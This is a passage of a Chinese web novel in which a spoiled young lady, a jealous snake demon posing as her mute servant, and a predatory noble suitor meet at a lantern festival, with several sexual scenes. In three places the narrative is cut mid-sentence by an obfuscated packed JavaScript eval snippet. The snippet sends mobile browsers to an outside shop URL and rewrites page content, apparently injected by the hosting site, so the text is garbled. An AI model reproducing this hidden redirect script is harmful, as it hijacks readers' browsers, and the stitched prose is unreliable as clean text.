苏娇娇冷嗤一声,哪里有那么多巧事,一次两次便足够了。 今日她去胭脂铺,正好遇见了郑青丞,对方一脸惊喜,请她同去用膳。 两人在六楼包厢里聊了一阵,便告别离开了。 没想到就这么短短的一段时间,大黑竟也知晓。 平日里他究竟对自己监视的程度有多深。 苏娇娇心里不禁一阵恶寒。 大黑紧紧盯着女子的面颊,自然也看到了她眼里的厌恶,大黑心里闪过一阵刺痛。 与此同时,深深的嫉妒与浓浓的恶意升起。 都怪那个该死的男人。 不是他的话,自己和娇娇便不会到这个地步。 都是他插足在自己与娇娇中间。 ——他想要和自己抢娇娇。 这个想法一瞬而逝,大黑忽然呼吸沉重,他喘着粗气,看向苏娇娇的眼神仿佛一只冷血动物看着自己心爱的猎物似的。 充满着杀气,冷意,以及浓浓的侵略性。 苏娇娇抖了抖身子,将这个想法从脑海中丢掉。 她想要从青年怀中钻出去,却被搂的更紧了。 苏娇娇正想蹙眉发脾气,肩头却感觉到点点湿润。 她愣了愣。 下意识看向趴在肩头上的某人。 大黑埋在苏娇娇肩头,身子止不住地颤抖。 苏娇娇强迫将人的下颚抬起,倒是没有看到眼泪,不过青年的眼眶红得吓人。 大黑直勾勾地看着苏娇娇,眼尾发红,眼底深处却布满了浓烈的欲/望。 自己一向是吃软不吃硬的。 苏娇娇软了心肠。 她摸了摸大黑的脸蛋。 轻声道:“你想当本小姐的夫婿吗?” 大黑眼睛一亮,他点点头,眼神变得很柔软很柔软,仿佛一只被安抚住的小狗似的。 苏娇娇被他逗的咯咯笑。 她挠挠大黑的下巴,惹得对方喉结滚动。 “但是不可以哦,不过日后可以将你迎来本小姐房中,到时我们也能相伴。” 大黑笑了笑,他靠在苏娇娇脖颈处,努力地点点头。 苏娇娇又说道:“不过你这善妒的性子得改改,不然日后本小姐那赘婿上门了,后院里不得每日鸡飞狗跳的,想想便糟心。” 她抱住大黑的脑袋,亲亲他的脸。 “所以你要知趣听话,不要让本小姐难堪。” 大黑忽然开口问道:“娇娇……喜欢我……吗?” 苏娇娇沉思了一会,她不知晓什么才算喜欢,但苏娇娇一向脾气不好,对这奴才倒挺耐心的,便也算得上喜欢吧。 于是她半哄骗半认真道:“喜欢喜欢。” 大黑唇边的笑意更大了。 他抬起头来,亲亲苏娇娇的嘴巴。 伸出胳膊,将人搂在怀里,自始至终,两人的嘴巴都没有分开。 分开后,一条银丝还暧昧地牵连着。 苏娇娇红着脸,娇娇地看了一眼大黑。 大黑喉咙里溢出几声闷笑。 人类雌性说她喜欢自己。 这让患得患失的黑蛇心中满足。 至于那男人,黑蛇早将人抛之脑后了。 两人皆已情动,接下来的事情便水到渠成地发生了。 帷帘背后,两只交颈的鸳鸯若隐若现,缠绵悱恻。 屋外雨声阵阵。 屋内也雨声阵阵。 由于下雨,天色昏暗,苏娇娇这次破格没让大黑将烛火熄灭,其实蛇类是夜视动物,黑夜中也能看清事物,之前每次大黑也能看清苏娇娇,但这次却不同往常。 可能是因为互诉心意,两人抬眼间,便是暧昧的情愫流转,做过许多次的事情也变得更具刺激性来。 黑蛇觉得此时的苏娇娇格外主动,她唤自己的声音如同掺杂了蜜糖似的,甜蜜动人。 待贪欢过后,苏娇娇悠悠转醒,她看了眼窗外,依旧阴雨绵绵,看不出来是什么时辰了。 大黑竟是还躺在自己身侧,搂自己腰肢的力道极大,他还在睡着,紧闭着眼睛,气息绵长。 “几时了?” 苏娇娇将人推醒。 大黑懵懂地睁开眼睛,身子一动,忽然轻嘶一声。 苏娇娇感觉到身体里的异感,脸色一变。 一巴掌便扇了过去。 “你这个该死的狗奴才,竟然敢将那东西塞在我身体里那么久!” 苏娇娇想将人往出推,却弄巧成拙,大黑又爽又痛苦地哼唧着。 蛇性本/淫,他一个畜牲哪里管人类之间的礼节。 当即翻身将苏娇娇压在身下。 …… 一夜过后。 苏娇娇几欲羞耻地捂脸。 这个下贱的狗奴才。 竟是拉着她从晌午做到第二天。 现在她的腰疼痛得几乎要断掉。 苏娇娇冷冷地看着面前跪着的青年。 “滚回去,以后没我的命令,不准上我的床。” 大黑有些不满地抬头,便被瞪了一眼回来。 他眸光闪动。 人类雌性最喜欢口是心非了,每次说着不许,待他亲上去后,身子便软的像一滩水了。 因此他才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105138|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这话当真。 不过面上却要恭恭敬敬的应着。 果然,苏娇娇的神情微缓。 * 原以为那郑世子会就此放弃。没想到不过三日而已,侯爷府那边便传来了回信。 爹娘皆一脸凝重。 苏娇娇反而轻松多了。 只是想不到那侯爷府的人可真沉得住气,竟是真的答应了要入赘。 这般作践人的要求也答应了。 爹娘叹了口气:“这该如何是好,我们到底是哪里被人家看重了。” 苏娇娇微微扬眉,耸肩道:“无妨,既已如此,女儿便娶了那郑世子吧。” 正好她缺了个赘婿。 那郑世子相貌不错,相处下来,性子也能凑合。 最主要的是,人家家大业大,到时候陪嫁自然是少不了的。 苏娇娇想到这里,微微弯眸。 娘娇嗔道:“你这话倒说得轻巧,现在哪里是嫁娶这么简单的事情。” 爹也一脸严肃,眉间几抹郁气。 作为家中的主心骨,他在此刻最应该做出行动来护住家人,却也束手无措。 苏娇娇抿唇笑道:“爹娘莫要思虑过多了,现在人家在暗,我们在明,既已如此,定亲便也容不得我们拒绝,倒不如顺水推舟,看看他们到底在打着什么主意。” 爹叹了口气,他拉起苏娇娇的手:“到时若真有什么难以承受的后果发生,你们娘俩便赶紧逃命,爹这条命换你们也值得了。” “爹你怎么又来了。” 苏娇娇也跟着叹了口气。 正说着话,传信的小厮又进来了,他说侯爷府那边传话道,虽喜事不容草率,但择日不如撞日,挑个最近的黄道吉日,便给两人定亲吧。 这话落到堂中几人耳里,无异于:“择日不如撞日,挑个好日子送你们一家人上路吧。” 方才缓和了些许的气氛再次凝结。 苏娇娇也有些诧异了。 这般急切。 她倒真有些好奇对方的目的了。 明知这一切有多么的不合理,却依旧不管不顾,是真的摸准了他们家不敢生起反抗之心吗? 很快,苏娇娇无意中发现了一个重要的线索。 她与好友交谈时,随口说到了郑青丞。 她没有说两人要定亲的事情,好友提及这人,微微咋舌。 “这郑世子看着相貌堂堂,气质不凡,书生意气,实则是个爱好男风的。” 苏娇娇微微挑眉。 “哦?这可未曾听说过。” 她的消息也算灵通的,之前为了更好地防范,也特意打听过郑青丞。 所得到的消息便很正常了。 无非说郑世子哪里好哪里好。 即使有几句不好的消息,也无伤大雅,毕竟是个人也不是完美无瑕的。 “哼,那哪里是能传出去的,消息刚放出去,便被截胡制止住,将那传话的人处理干净了,我要不是与那郑世子好友有些交情,还不一定知晓呢。” 苏娇娇来了兴致,此时她不只是打听人了,更是生起了好奇之心。 “你给我详细讲讲。” “那郑世子玩的可真是……”好友啧啧两句,“据说青楼中的小倌都认得他,他房中还偷摸着养了几个男人,玩过的男人少说也有百来个了。” 苏娇娇微微惊愕。 更惊奇的是后面的话,好友悄声道:“听说那郑世子还因此染上了花柳病,也不知晓是真是假。” 苏娇娇恍然。 一切便已明了了。 52. 黑蛇妖 主动出击将敌人从暗处拉到明处总比坐以待毙好。 这消息对苏娇娇来说至关重要,可能是自己抓住对方的一个重要把柄。 但空口无凭,当务之急是确定消息的真实性,然后收集证据。 苏娇娇特意问了好友郑青丞常去的花楼是哪个花楼,好友却面露难色,苦笑道:“这我哪能知晓的。” 想从花楼骈头方向寻找证据这条路便断了。 因此,她给郑世子送去了一封书信。 首先是向对方问好,其次是表达了自己与他上次相谈甚欢的愉悦之情,最后开门见山道自己与对方再次相约的愿望。 洋洋洒洒的一篇。 平时态度散漫的苏娇娇忽然态度变得殷切来,这可是她第一次主动提出约会的请求。 郑青丞心中一喜,自是回信同意了。 正好过几日便是花灯节了,郑青丞便提议相约于灯会。 苏娇娇的目的只是想查探情况,又不是真的想与他相约,对具体在哪个地方无感,哪怕他约定的地方在花楼,她也无所谓,甚至更高兴了,这样便能更好地查探了。 此事小青也是知晓的,她心思单纯,并不知晓其中的错综复杂性,只听说郑世子对自家小姐有意,两人极有可能会定亲。 听苏娇娇说要与郑世子相约去看灯会,小青捂嘴偷笑了一声。 看来这是落花有意流水有情啊。 待花灯节那日来临,眼见苏娇娇简单套了个襦裙便要出门,小青大惊,连忙把人拦住。 “小姐,今日可是一个特殊的日子……” 小青眼巴巴地看着苏娇娇。 这可是小姐与姑爷第一次正式的约会,马虎不得。 苏娇娇愣了愣,想了半天都没想起来是什么特殊的日子。 她开口问道:“今日是本小姐的生辰?” 不对啊,她的生辰可还有两个月呢。 小青摇摇头。 “那就是爹娘谁的生辰?” 也不对,二老的生辰早在之前便已庆贺了。 小青又摇摇头。 “总不会是你的生辰吧?” 苏娇娇怀疑地问道。 小青哎呀了一声:“小姐您忘了,今日可是花灯节。” 她不好意思将话说得过于直白,只好暗示一下。 苏娇娇微微呆愣:“所以呢?” 小青脸色一僵,继而认真道:“您别管了,这种日子奴婢自是要把小姐打扮得美美的。” 苏娇娇懵懂地被她带到梳妆台前,又懵懂地被她打扮着。 这丫头今日似乎过于亢奋了。 往日里唯唯诺诺的,连头不敢抬一下,现在倒是敢反驳自己了。 苏娇娇没太在意。 她昏昏欲睡地任小青摆弄着。 待被小青唤醒后,小青惊艳道:“瞧瞧,小姐这模样,打扮过后,更是动人。” 苏娇娇跟着看向铜镜。 镜中的女子云鬓高耸,点染曲眉,一身月牙凤尾罗裙,衬得她愈发肤若凝脂,气若幽兰。一双水眸潋滟,明眸善睐。 苏娇娇喜爱美的事物,也喜欢看自己美美的模样,她微微勾唇,心中愉悦。 “不错。你这丫头手巧得很。” 小青被夸得小脸一红,她摸摸脸颊,眉间神采奕奕:“小姐这模样,定是能将姑爷迷的神魂颠倒!” 话落,她自觉失口,赶紧捂嘴。 苏娇娇微微挑眉:“什么姑爷?” 小青连忙摆手道:“没什么没什么。” 苏娇娇拍拍裙角:“走了。” 小青忙帮她提着裙角,将人送到府外门口马车上。 看着马车渐行渐远,小青又偷笑了一声。 正欲转身回府,便看见一个高大的身影。 小青吓了一跳。 待看清后,她松了口气,拍拍胸膛:“你这人,怎么像鬼一样站在这里。” 大黑紧紧地盯着那马车远去,直到成为一个小小的黑点,继而消失不见。 他这才收回了目光,眼睛有些酸涩,他眨眨眼。 “小姐……去……何处……了?” 这话说出,大黑才发觉这几日他最常说的话便是这句了。 小青嗐了一声,她正愁没人分享呢。 小青神采飞扬道:“小姐去跟姑爷约会去了。” “姑……爷?” 大黑迟钝地说道。 “对啊,就是姑爷,就是那个郑世子,听说郑世子相貌俊朗,气质不凡,为人也热心,房中至今还没有女子呢。” 大黑又缓慢地眨了眨眼,眼睛似乎更加酸涩了。 “他们……去哪里……约会了?” 小青奇怪地看了他一眼,不过还是实话道:“今日可是花灯节,自是去看灯会了,对彼此有情意的男女可都会去看灯会呢。” 大黑的心里一阵钝痛。 彼此有情意? 娇娇不是说过喜欢他吗? 怎又会与旁人有情意。 他转身准备走,又停下脚步,问道:“我……与那郑……世子谁更……好一些?” 小青嗤笑了一声。 不禁被这天真的话语逗乐。 但仔细看去,又发现似乎也有可比较之处。 “你啊,倒是生的不错,依我看,比郑世子还要好一些,不过其他方面与郑世子相比就是天差地别了,家世背景便是云泥之别,更何况,人家郑世子可是学富五车,知识渊博,有名的才子呢。” 大黑没说话,他转身离去。 小青看着他失魂落魄的背影,叹了口气。 她敏锐地发现大黑对小姐之间别样的情愫,这可了得,这哑奴哪里是能配得上小姐的,今日她故意将话说得这般残忍,也是想让大黑趁早知难而退,别为此再掏心掏肺了。 灯火阑珊,摆花灯的商贩占满了道路两侧,街道上成双成对的男女并肩而行,女子戴着面纱,手中提着精致小巧的花灯,偏头与身侧的男子说话时,彼此情意绵绵。 郑青丞看到苏娇娇时,微微一愣,他迎了上去,惊喜道:“苏小姐今日可真美。” 平日里的苏娇娇也很美,在仔细打扮后,映衬得她美得愈发直观了。 他将手中的花灯递了过去。 “不知你喜欢什么样式的花灯,便买了一只兔子的。你们姑娘家应当都会喜欢这种毛绒绒的动物吧。” 郑青丞有些自得,他考虑得这般周全,苏娇娇定会惊喜吧。 却让他失望了,苏娇娇的反应很平淡,她浅浅笑道:“谢过郑世子了。” 苏娇娇正欲接过花灯,倏然,花灯忽然自燃起来,苏娇娇惊了一下,连忙将花灯丢下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115380|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便见花灯燃烧得迅速,很快便只剩下碎屑来。 郑青丞惊愕地直往后退:“这、这是怎么回事!” 苏娇娇看了过去,忽然感觉这一幕非常熟悉。 上次在花楼便是如此,她想要接过梨鱼递来的酒,酒杯却奇怪地掉在了地上。 之前那次还可以说是喝醉后没有力气,这次她极其清醒,并且她极其确定自己一定是拿牢了花灯的提手。 苏娇娇心中骇然,莫不是真撞鬼了。 她面上却极为平静。 “看来这花灯不太适合我,不如我们再去买一盏吧。” 郑青丞笑道:“这也好。” 两人并肩而行。 苏娇娇面色平静,倒是郑青丞时不时偏头来看她,目光认真。 “我们如今也算相熟了吧,你还叫我郑世子,实在听着生分,不如我们此时便将对方的称呼改了吧。我叫你娇娇,你叫我青丞可好?” 郑青丞忽然道。 他看向苏娇娇,笑意盈盈。 “嗯……虽说我们已定了亲,但终究还没有成婚,还请郑世子多给我一些时间让我做好心理准备。” 郑青丞微微偏头:“这确实是我考虑不周了。” 女子都是害羞的。 听闻苏娇娇性格跋扈娇纵,现在相处下来,除过美得不可方休以外,倒是与自己印象中的女子形象差不多。 郑青丞这么想着,只觉无趣。 女子身子软,他年少时倒是尝过女子的滋味,但就是太羞涩了,在床上放不开,他尝过几个女子的滋味便觉得没意思了。 后来无意中知道男人与男人也能做这事。 换成一般男子只会觉得恶心,有违伦理。 郑青丞却觉得很刺激,同为掌控者的男人却如同女子一般雌伏在自己身下,只能忍受地发出哼叫声。 这一切都让郑青丞觉得新鲜极了。 从此便疯狂地迷恋上与男人做这种事。 要不是…… 他也不至于现在来找女子成亲。 不过苏娇娇生得实在美丽,郑青丞只觉得对方的长相似乎每一处都在往他心头上长,哪怕他现在对女子无心思了,也愿意因此与她成亲。 本是委曲求全,做好表面功夫,郑青丞此时也带了几分真心实意。 “娇娇,前方似乎有一个花灯摊子,不如我们去看看?” 郑青丞指着不远处,提议道。 却没等到苏娇娇跟上自己,他疑惑地回头看去,便看见苏娇娇惊愕的神情。 她的目光落在了自己的……头顶。 郑青丞忽然闻到一股烧焦的味道从自己头顶传来。 他疯狂地大叫着。 引得无数路人纷纷注视。 一个热心的壮汉将一桶水泼了过去。 郑青丞全身被浇的透湿。 火灭了。 他的脸面也丢尽了。 他还听到了周围时不时传来的嘲笑声。 郑青丞铁青着脸色,温润如玉的模样再也维持不住,他只想把在场所有看到这一幕的人都杀了。 苏娇娇犹豫着开口道:“不如……去换身衣裳吧。” 她看向四周。 依旧没有可疑的地方。 似乎是真的撞鬼了。 ——一只嫉妒心很强的鬼。 53. 黑蛇妖 郑青丞着实能忍耐得住,哪怕心里再烦躁,也跟着苏娇娇去换了一身衣裳。 苏娇娇一直对自己不冷不淡的,这次可是两人关系向前发展的好时机,他哪里能错过。 换好衣裳后,他又恢复了原本的温润模样,似乎先前的狼狈是幻觉所致。 苏娇娇心中咋舌,这人的心理素质果真强大,变脸比翻书都快。 郑青丞笑得温和:“方才之事让你见笑了,只愿不会耽误你我二人此番的心情。” 这话说得漂亮,苏娇娇只好顺道:“无大碍的。” 两人走到了方才所指的摊子前,花灯玲琅满目,种类繁多,直教人看花了眼。 摊主热情道:“两位客人随意看,我家的花灯种类很多的。” 他仰着头,神情略有几分骄傲。 这话倒不假,周围一圈,就属他家的花灯样子最为精美,来此的男女也最多。 郑青丞看了几眼,只觉都长得一个模样。 他随手指向一个道:“娇娇觉得这个如何?” 话落,他忽然神情一变,痛呼出声,迅速收回手指。 此行为实在怪异,苏娇娇顺着他的目光看向他的手指。 干干净净的,没有异样。 但郑青丞面上的疼痛难耐又不像作假。 郑青丞心中又惊愕又恐惧。 怎么会这样。 他沉着脸色,头脑迅速运转。 这两次异常,都有一个共同点——他都叫了“娇娇”二字。 郑青丞心一沉。 难不成是苏娇娇在搞鬼。 这么想着,他看去的目光带了几分审视。 苏娇娇看在眼里,不觉在心里嗤笑一声。 这可真是冤枉她了。 她哪来这么大本事。 摊主一脸怪异地看着两人。 “你们干嘛呢,还买不买了,不买就别打扰我做生意啊,奇奇怪怪的,把我客人都吓跑了。“ 郑青丞一时口塞:“你……” 作为世子,他何时受过这种委屈,一个小小的商贩竟也敢对他口出不逊。 苏娇娇微微扬眉,指了指一盏黑蛇模样的花灯。 “给我把这个包起来。” 商贩面色转喜道:“好嘞。” 郑青丞面色怪异,他忍不住悄声道:“娇……嗯……你一个姑娘家怎么喜欢这样子的花灯,多吓人啊。” “没关系啊,郑世子无需担忧,我一直胆子都很大的。” 苏娇娇面上笑眯眯,心里悄悄磨牙,她确实是胆子大,但也是真的害怕这黑蛇,此时买这模样的花灯,一则是为了恶心郑青丞,这伪君子是个典型的大男子主义者,觉得女子就该怎么怎样,她还偏要让他瞠目结舌;二则也是为了恶心那黑蛇,她烧不了那黑蛇,难不成还烧不了这花灯。 她要将这花灯狠狠踩烂,再一把火点上,烧个一干二净。 苏娇娇接过花灯,与那黑蛇的眼眸撞上。 她吓了一大跳。 这做的还真是逼真。 不仔细看去,仿佛真有一条黑蛇攀爬在花灯上。 不知是不是她的错觉,接过花灯后,她背后似乎吹过一阵风,停留在她身边,莫名的轻柔。 郑青丞脸色有些难看,本巴不得紧紧挨着苏娇娇,此时却恨不得离这奇葩女子远远的。 女子都喜爱可爱的东西,这女人竟然喜欢一只冷血动物。 真是恶心。 原本对苏娇娇的好感也直线下降。 比起刚开始,他的态度有些不耐烦了。 “苏小姐,走了这么远应当饿了吧,我们去酒楼吃饭吧。” 郑青丞此次来应约,可不是单纯为了与这妮子培养感情的,他已经厌烦这种过家家式的相处方式了,太慢了。 女人性子再烈,到床上还不照样身子是软的。 做了以后,别说人了,心都是你的了。 到时,还不是他说什么,苏娇娇便做什么。 郑青丞想到这里,不禁有些得意。 他情不自禁地偏头看向苏娇娇。 女子提着黑蛇模样的花灯,妆容精致,姿态大方,别有一番风味。 郑青丞喉结滚动了一下。 眼底微暗。 性子烈也好啊。 征服起来才更带感。 苏娇娇哪管他在想什么。 她点点头,笑眯眯道:“当然可以了。” 不吃白不吃,狠狠宰上一笔。 两人又嬉笑地往酒楼方向走。 黑蛇缩在角落,看着男女般配的背影远去,它轻吐着蛇信子,“嘶嘶”两声,眼神发冷,墨绿色的眼眸幽深得如同一滩死水,又好像深处在疯狂地翻滚起伏。 只见那男子忽然被一块石头绊倒,他踉跄了一下,堪堪站住身子,苏娇娇象征性地揪住他的衣角,面上担忧,眼里却满是笑意,她捂着嘴偷笑着。 郑青丞不可置信地回头看了一眼。 这怎么可能。 他分明记得这里是平地,怎么会突然多出一块石头来! 真是见鬼了。 苏娇娇担忧地问道:“郑世子您没事吧?” 郑青丞一眼便看出了她眼里的嘲笑意味,心中不是滋味。 这该死的女人竟然还敢嘲笑他。 到时看他在床上怎么折磨苏娇娇。 郑青丞心中恶意升起。 “无事无事的,可能是近日经书看得多了,一时头昏脑胀。” 他假意揉揉太阳穴,疲倦道。 “哦,原是如此,那郑世子可要多保重身子啊。” 苏娇娇却不戳穿他的把戏。 这郑世子可真有意思,看他可比看戏有意思多了。 跟马戏团耍杂技似的。 定好包厢,郑青丞惊愕地看着苏娇娇使唤着小二点了几十道菜,不知有意无意,竟是都点的店里最贵的。 郑青丞一时脸都黑了。 又勉强着保持温和道:“我们只有两个人,如此岂不是过于铺张浪费了。” 苏娇娇有些羞涩又有些失落道:“我原想着郑世子是顶天立地的男子,应当是饭量极大的,这才点了这么多,郑世子是没有带够……银两吗?这也无妨的,娇娇也带了银两的。” 郑青丞嘴角抽搐着,却还是说她有心了。 好话都让苏娇娇说尽了,他一个大男人哪里愿意放下脸面让一个女人付账单。 传出去他郑世子的面子还往哪搁。 不过,他一月的晌钱可都给后院的男人们花了,哪里还有那么多银两,到时传到侯爷府,准是少不了一顿批斗的。 想到这里,郑青丞气的嘴都在抖。 看苏娇娇左右都不对了。 花了这么大的代价,再不能完成此行的目的,实是赔了夫人又折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129021|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵。 郑青丞开始有意无意地给苏娇娇灌酒。 苏娇娇眨了眨眼睛,皆喝下了。 郑青丞心中一喜。 “我一个小女子都喝了这么多,听闻郑世子酒量甚好,不如比比?” 苏娇娇勾唇一笑,眉间神采飞扬。 郑青丞一时痴了些。 当然答应了。 不过一个女人而已,还能喝得过他。 郑青丞根本没放在心里。 于是,两人一杯又一杯的酒下肚。 郑青丞的脸色逐渐红了起来,眼神迷离。 反观苏娇娇神色清明,仿佛没喝酒似的。 郑青丞摇晃着身子,手指颤颤巍巍地指着苏娇娇道:“你……怎么没醉?” 苏娇娇眼眸弯弯:“自是我的酒量好呀。” 当然是假的。 苏娇娇一杯就倒。 她每次都是小抿一口,紧接着就趁郑青丞不注意,悄悄倒在地上。 郑青丞神志已不清楚了。 他朦胧地记得自己的目的。 要把这个女人上了。 郑青丞站了起来,跌跌撞撞地朝苏娇娇走去。 “美人……美人……” 苏娇娇冷冷地看着郑青丞,手握着腰间的匕首,此时已蠢蠢欲动。 却见下一秒郑青丞被蛇尾掀翻。 他痛呼一声。 苏娇娇惊愕地看了过去。 果然,又是那条黑蛇。 它又来了。 它将郑青丞像皮球一般甩来甩去。 男人被撞得眼冒金星,哇的一下就吐了。 恶臭味传来,黑蛇嫌弃地将人拨到一边,收回了蛇尾。 它看向人类雌性。 原本冷血的墨绿色瞳孔似乎带了几分热切。 苏娇娇一脸警惕,她抬起手中的匕首。 步步后退。 黑蛇看着苏娇娇恐惧的神情,它忽然想到什么,一道亮光闪过,黑蛇便无影无踪了,转化为大黑。 大黑挺拔着身子,殷切地看向苏娇娇。 人类雌性喜欢他这个模样。 方才他为了方便教训一番那个恶心的人类雄性,这才以原型出现。 苏娇娇先是惊愕,继而厌恶。 这该死的畜牲,竟懂灵性到这种地步,还会化作自己亲近的人来降低自己的警惕性。 “滚。” 苏娇娇又后退了一步,手中的匕首依旧高高抬起。 大黑困惑地看了过去。 他撞见苏娇娇眼中的嫌恶,神情一滞。 “娇娇……我……是……大黑啊……” 苏娇娇没有放在心上,她这才知晓,原来不是撞鬼了,是撞妖了。 这蛇竟是个蛇妖。 怪不得能使手段入她的梦来。 此时又能化作大黑的样子,还会模仿人类说话,当真恐怖。 她只以为这是这蛇妖的手段,却也知晓自己的匕首根本伤不到它。 苏娇娇仔细观察下来,发现这黑蛇妖似乎没有要杀她的意思。 她心中微松。 便开始与他闲聊以拖延时间。 “哦,原是大黑啊,你怎么在这里?” 大黑挠了挠脑袋,他微微撇头,不自然道:“路……过……” 苏娇娇呼吸一滞。 竟能装得这么像吗? 54. 黑蛇妖 苏娇娇的眼神瞥向一旁倒在地上不省人事的郑青丞。 虽然不想管他,但好歹是世子,又是同自己相约途中遇险,她却好端端的,这实在是有些说不过去了。 大黑顺着她的目光看了过去,微微咬牙:“你……在……关心……他?” 青年目光冷冷,又隐含着几分咬牙切齿的意味。 苏娇娇啊了一声,下意识回道:“我关心他干嘛。” 要不是担心惹祸上身,她才懒得管这人的死活。 大黑面色转为平静,他翘起嘴角又问道:“那你……喜欢……他吗?” 苏娇娇觉得这蛇妖真是莫名其妙,问了一堆奇奇怪怪的问题。 心中不耐烦,却也害怕下一秒这蛇妖也失去了耐心,张口血口将自己吞之入腹。 苏娇娇微微抿唇:“他是我的未婚夫,我关心他的安危是应当的。” 这话便有些前言不搭后语了,前面说不关心,现在又说关心。 换成其他人早就抓住这漏洞,顺藤摸瓜,直问得苏娇娇无言了。 可惜对面的是个不识人性的蛇妖,还是个被妒火冲昏了头脑的蛇妖。 未婚夫…… 该死的未婚夫…… 大黑眼里充斥着满满的嫉妒之意。 他想要化为原型,将这男人咬死,理智又将人拦住。 “他知道……你的胸前……有一颗……痣吗?” 大黑浑然不知,自己此时的模样有多像妻子质问出轨的丈夫。 苏娇娇瞪大眼睛,这蛇妖是怎么知道的。 是那些梦境吗? 不对! 梦境并不真实。 看似面容是自己的,身材也不差,只是有些细节并没有很真实,例如苏娇娇锁骨处的黑痣,以及……大腿根部的痣。 因此即使被那黑蛇缠身多夜,苏娇娇也没有那么惊慌,因为她知道,这都是假的。 苏娇娇眼神不自觉浮上几分警惕。 她动了动嘴唇,还没说出口,将被妒火冲昏头脑的黑蛇打断。 他往前一步,俯视着苏娇娇,眼里的意味不明。 他开口道:“他看过……你腿心……处的……痣吗?” 苏娇娇面色一白,被逼得步步后退。 脑海中似乎有一道雷劈下。 不该的。 除非…… 黑蛇真的是大黑。 这想法刚冒出头,就让苏娇娇心生绝望。 自己都做了什么。 不仅在梦中与这牲畜颠龙倒凤,现实中也同这牲畜化作的人形缠绵。 甚至,还心想着将他收入房中。 大黑愈发靠近,他轻抚上苏娇娇的下颚,微微抬高,将冰凉的唇贴了上去。 这些动作两人做过无数遍了,肢体习惯让苏娇娇不自觉地想要迎合,很快,她便想起了面前的是一只蛇妖。 苏娇娇尖叫一声,将人狠狠推开。 她瞪着大黑,眼角眼泪不自觉滑落。 苏娇娇强忍住心中的恐惧,颤着唇道:“我有些累了,先回去了。” 话落,她转身便跑,哪里还敢管一旁倒在地上的郑青丞,她的小命已经危在旦夕了,哪里还管得了别人。 大黑没有去追,他目光幽幽地看着女子慌乱跑开的身影。 为何。 亮光闪过,黑蛇冰冷的眸子闪过困惑。 为何。 人类雌性一直都不喜欢自己的原型,现在连这副人类模样,她也感到厌倦了吗? 难道,她真的喜欢这个未婚夫吗? 黑蛇吐着信子,眼眸若有所思地落在倒在地上的郑青丞。 逃回府里的苏娇娇心有余悸,她止不住地喘气,看向窗外。 过了许久,小青端着安神茶敲门进来了。 “小姐,您现在可好了?” 苏娇娇慌慌乱乱地从花灯会上逃回来,便一副心神不宁的模样,仿佛失了魂魄…… 小青垂下头,掩去眉间的愁思。 “好多了。” 苏娇娇接过茶水,低头喝了两口,心中微微镇定下来。 她状似不经意道:“大黑呢?” “大黑?奴婢不知晓,您出府之前,奴婢倒是见过一面,大黑奇奇怪怪的,站在那里怪吓人的。这会儿府中的下人都吃了饭,休息去了,大黑应当在房中歇着吧。” 苏娇娇听后,仍然不放心,她吩咐道:“小青,你去看看,看大黑在府中吗?” 小青虽疑惑,也还是应了。 苏娇娇见人推门离去,忽然起身,她走到柜子旁,拿出梳妆台上放着的钥匙,“吧嗒”一声,锁开了。 里面还放着两个安好的蛇果。 苏娇娇拿了起来,轻嗅几下,依然是那股熟悉的香甜味道。 她若有所思。 倘若大黑便是蛇妖。 他所言不假。 这两个蛇果是他摘来的,那自己之前在拍卖会上拿到的两个蛇果便不是这两个。 那两个蛇果又去了何处。 苏娇娇眉心微动。 如果能找到那两个蛇果,便说明大黑真的是蛇妖。 但若找不到,就说明大黑说谎了,他的确偷了自己献祭给蛇妖的蛇果,那就说明…… 大黑不是蛇妖。 自己没有跟一只蛇妖缠绵过。 这一切都是巧合。 什么狗屁痣。 定是那蛇妖耍手段不知从哪知晓的。 苏娇娇冷嗤一声。 她连忙翻着房中的东西。 凡是可以装物件的盒子,柜子,她通通打开,翻到最深处。 皆一无所获。 只剩一个盒子了。 苏娇娇心颤了一下,睫毛微动。 正欲动手打开。 门口传来敲门声。 “咚咚”两声。 小青说道:“小姐,奴婢可以进来吗?” 苏娇娇将盒子放在一边。 “进。” 小青推开门,轻声道:“小姐,大黑不在府中,管事的说今天一整天都没见他了,还说都没给他说一声便出府,待他回来了,定是要好好罚一下。” 苏娇娇心猛地下坠。 “对了小姐,奴婢还遇到了老爷夫人,他们让奴婢给您说,郑世子已经平安地回到侯爷府了,还传话说今日与小姐相处,心中很愉快,期待下次的约会。” 苏娇娇脸色一白。 她手颤抖着拿过盒子,钥匙慢吞吞地插入孔芯,“吧嗒”一声,锁开了。 只见两个颇大的蛇果直直地落入眼尖。 